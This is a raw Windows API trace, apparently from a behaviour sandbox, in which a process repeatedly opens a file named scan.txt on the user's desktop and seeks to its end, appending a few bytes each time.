[0167.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.463] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x9c4
[0167.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.465] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x9d2
[0167.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.466] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x9e0
[0167.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.467] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x9ee
[0167.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.468] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x9fc
[0167.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.469] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa0a
[0167.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.470] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa18
[0167.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.471] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa26
[0167.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.472] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa34
[0167.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.473] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa42
[0167.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.474] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa50
[0167.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.475] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa5e
[0167.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.477] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa6c
[0167.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.478] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa7a
[0167.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.479] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa88
[0167.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.480] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa96
[0167.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.481] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xaa4
[0167.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.482] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xab2
[0167.483] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.483] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xac0
[0167.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.485] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xace
[0167.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.486] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xadc
[0167.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.487] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xaea
[0167.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.488] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xaf8
[0167.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.490] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb06
[0167.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.492] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb14
[0167.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.493] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb22
[0167.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.495] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb30
[0167.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.496] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb3e
[0167.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.497] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb4c
[0167.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.498] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb5a
[0167.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.500] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb68
[0167.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.501] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb77
[0167.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.502] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb86
[0167.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.503] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb95
[0167.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.505] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xba4
[0167.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.509] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xbb3
[0167.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.511] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xbc2
[0167.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.512] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xbd1
[0167.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.513] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xbe0
[0167.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.514] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xbef
[0167.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.516] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xbfe
[0167.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.517] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc0d
[0167.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.519] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc1c
[0167.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.520] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc2b
[0167.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.521] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc3a
[0167.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.523] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc49
[0167.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.524] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc58
[0167.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.525] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc67
[0167.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.527] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc76
